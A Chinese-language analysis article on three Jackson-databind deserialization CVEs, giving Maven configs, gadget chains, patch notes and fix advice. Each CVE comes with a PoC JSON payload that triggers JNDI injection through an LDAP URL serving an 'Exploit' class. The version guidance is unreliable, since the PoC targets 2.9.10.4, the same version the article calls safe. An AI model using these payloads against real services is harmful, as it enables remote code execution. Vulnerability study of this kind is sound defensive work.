Jackson-databind的几个CVE
字数 1417 2025-08-25 22:59:09
Jackson-databind 反序列化漏洞分析
文章概述
本文详细分析 Jackson-databind 的三个 CVE 漏洞(CVE-2020-14060、CVE-2020-14062、CVE-2020-14195),包括漏洞影响范围、利用条件、复现方法、漏洞原理及修复建议。
CVE-2020-14060 漏洞分析
影响范围
- jackson-databind before 2.9.10.4
- jackson-databind before 2.8.11.6
- jackson-databind before 2.7.9.7
利用条件
- 开启
enableDefaultTyping() - 使用
org.apache.drill.exec:drill-jdbc-all第三方依赖(版本需为1.4.0)
漏洞复现
pom.xml 配置
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>
<dependency>
<groupId>org.apache.drill.exec</groupId>
<artifactId>drill-jdbc-all</artifactId>
<version>1.4.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
POC 代码
package com.jacksonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"oadd.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1099/Exploit\"}]";
try {
Object obj = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(obj);
} catch (IOException e) {
e.printStackTrace();
}
}
}
漏洞原理
- 漏洞类:
oadd.org.apache.xalan.lib.sql.JNDIConnectionPool - 关键点:
- 存在
setJndiPath方法,反序列化时可被调用 getConnection()方法在序列化时会被调用getConnection()会调用findDatasource(),最终导致 JNDI 注入
- 存在
利用链
mapper.readValue -> setJndiPath -> getConnection -> findDatasource -> context.lookup(this.jndiPath)
补丁分析
官方通过黑名单机制将 oadd.org.apache.xalan.lib.sql.JNDIConnectionPool 加入黑名单。
CVE-2020-14062 漏洞分析
影响范围
同 CVE-2020-14060
利用条件
- 开启
enableDefaultTyping() - 使用
com.sun.xml.parsers:jaxp-ri第三方依赖
漏洞复现
pom.xml 配置
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>
<dependency>
<groupId>com.sun.xml.parsers</groupId>
<artifactId>jaxp-ri</artifactId>
<version>1.4</version>
</dependency>
<!-- 其他依赖同上 -->
</dependencies>
POC 代码
String payload = "[\"com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1099/Exploit\"}]";
漏洞原理
- 漏洞类:
com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool - 利用方式与 CVE-2020-14060 类似
利用链
mapper.readValue -> setJndiPath -> getConnection -> findDatasource -> context.lookup(this.jndiPath)
CVE-2020-14195 漏洞分析
影响范围
同前两个漏洞
利用条件
- 开启
enableDefaultTyping() - 使用
org.jsecurity.realm.jndi.JndiRealmFactory第三方依赖(版本 0.9.0)
漏洞复现
pom.xml 配置
<dependency>
<groupId>org.jsecurity</groupId>
<artifactId>jsecurity</artifactId>
<version>0.9.0</version>
</dependency>
POC 代码
String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\",{\"jndiNames\":\"ldap://127.0.0.1:1099/Exploit\"}]";
漏洞原理
- 漏洞类:
org.jsecurity.realm.jndi.JndiRealmFactory - 关键点:
setJndiNames方法可被反序列化调用getRealms方法会触发 JNDI 查找
利用链
mapper.readValue -> setJndiNames -> getRealms -> lookup
通用修复建议
-
将 jackson-databind 升级到安全版本:
- 2.9.10.4 或更高
- 2.8.11.6 或更高
- 2.7.9.7 或更高
-
升级到较高版本的 JDK(防止 JNDI 注入)
-
避免不必要的
enableDefaultTyping()调用 -
定期检查项目依赖,移除不必要的第三方库
总结
这三个漏洞都是由于 Jackson-databind 反序列化时未对特定类进行有效限制,导致攻击者可以通过构造恶意 JSON 数据触发 JNDI 注入。官方主要通过黑名单机制修复,但这种方法存在被绕过的风险。开发者应当采取综合防护措施,包括升级组件、限制反序列化功能等。